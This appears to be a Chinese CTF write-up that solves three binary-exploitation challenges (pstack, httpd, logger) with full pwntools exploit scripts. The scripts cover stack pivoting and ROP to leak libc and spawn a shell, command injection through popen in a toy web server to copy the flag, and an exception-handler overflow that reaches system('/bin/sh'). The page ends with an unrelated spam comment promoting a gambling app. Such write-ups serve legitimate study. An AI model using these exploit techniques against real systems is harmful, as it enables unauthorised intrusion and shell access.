pstack

关键地址的设置
leave_ret = 0x4006DB
pivot_read = 0x4006C4
fake_stack = 0x601800
leave_ret:leave; ret指令的地址。leave将栈指针(rsp)设置为当前帧指针(rbp),并弹出帧指针,接着ret将控制流转移到栈上的地址。- 这是用于栈迁移(stack pivot)的关键
- 触发缓冲区溢出,将栈指针迁移到伪造栈区域。
- 构造 ROP 链,泄漏
puts的地址,计算libc基址。 - 使用第二次 ROP 链调用
system("/bin/sh"),获得交互式 shell
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process('./pwn')
elf=ELF('./pwn')
libc=ELF("./libc.so.6")
leave_ret=0x4006DB
pivot_read=0x4006C4
fake_stack=0x601800
payload=b"a"*0x30+p64(fake_stack+0x30)+p64(pivot_read)
s.recvuntil(b"overflow?\n")
s.send(payload)
pop_rdi=0x400773
rsi_r15=0x400771
pop_rbp=0x4005b0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(fake_stack + 0x50 + 0x30)+p64(pivot_read)+p64(fake_stack-8)+p64(leave_ret)
s.send(payload)
libc.address=u64(s.recvuntil(b"\x7f")+b"\x00\x00")-libc.sym.puts
success(hex(libc.address))
payload=p64(pop_rdi)+p64(fake_stack + 0x78)+p64(libc.sym.system)+p64(0)+p64(0)+b"/bin/sh\x00" +p64(fake_stack + 0x50 - 8)+p64(leave_ret)
s.send(payload)
s.interactive()
httpd

当程序尝试访问文件时,所有路径都是相对于/home/ctf/html的

popen,危险函数,会执行shell命令
这里haystack是经过URL解码后的用户输入路径,modes是”r”,所以实际上是在执行:
popen(用户输入的路径, "r");

这里把输入的url前面的/去掉了(v36存储“/”,其他的存储在v37里面)
第一个请求: send_req(b"/cp%20/flag%20/home/ctf/html")
- URL编码解析:
%20会被解码为空格字符- 原始输入:
/cp%20/flag%20/home/ctf/html - 解码后:cp /flag /home/ctf/html
- 原始输入:
- 命令注入: 当程序执行
popen("/cp /flag /home/ctf/html", "r")时- 这实际上变成了执行shell命令:
/cp /flag /home/ctf/html - 但这个路径不对,应该是:
cp /flag /home/ctf/html
- 这实际上变成了执行shell命令:
- 修正分析: 让我重新看URL解码过程
- 程序会调用
sub_25DE函数对路径进行处理 - 处理后的路径去掉了开头的
/,变成:cp /flag /home/ctf/html
- 程序会调用
- 命令执行:
popen("cp /flag /home/ctf/html", "r")- 这会执行
cp命令,将/flag文件复制到/home/ctf/html目录下
- 这会执行
第二个请求: send_req(b"/flag")
- 读取复制的文件: 请求读取flag文件,这里特地构造/flag,输入/flag前面的“/”被程序去掉,读取的就是web根目录下的flag文件
- 正常文件访问: 由于第一步已经将flag文件复制到了web根目录,现在可以正常访问
- 获取flag内容: 服务器会返回flag文件的内容
exp
from pwn import *
def send_shell(uri):
io=process("./httpd")
io.sendline(b"GET "+uri+b" HTTP/1.0")
io.sendline(b"Host: 127.0.0.1")
io.sendline(b"Content-Length: 80")
print(io.recvall())
io.close()
send_shell(b"/cp%20/flag%20/home/ctf/html")
send_shell(b"/flag")
logger


src作为一个全局变量,这里赋值给了异常处理的参数,传给rax寄存器,后面异常处理的时候传给rbp-0x18,最后传给rdi寄存器
异常处理函数这里藏了一个call system,我们现在就要控制这个src变量

src的位置也很好找,0x4040a0

这里warn功能,也就是选择2,这里read存在栈溢出,(canary可以不用管,因为输入超过16字节就会执行异常抛出部分,走不到canary检查)

我们覆盖rbp为可写段(使得leave之后[rbp-0x18]是可写可控的),再把返回地址设为call _cxa_throw+1的位置,也就是调用完call _cxa_throw 的返回地址,然后正常执行到call system
然后这里选项1的trace功能可以输入9个槽位,从byte_404020这个地方开始,每个16字节,填充前8个槽位正好可以达到0x4040a0,从而控制src变量,在这里写入“bin/sh”

exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./pwn")
elf=ELF("./pwn")
def xuanze(ch):
s.sendlineafter("chocie:",str(ch))
def trace(content):
xuanze(1)
s.sendafter(b"here:",content)
s.sendlineafter(b"records?",b"n")
try_return=0x401BC2+1
for i in range(8):
trace(b"A"*0x10)
trace(b"/bin/sh;")
xuanze(2)
payload=b"a"*0x70+p64(0x404020)+p64(try_return)
s.recvuntil(b"plz:")
s.send(payload)
s.interactive()







Interesting read! Seeing more platforms like Arion Play prioritizing security & responsible gaming is a good sign. Definitely check out arion play apk if you’re exploring options – seems they’ve built in some solid risk management features too.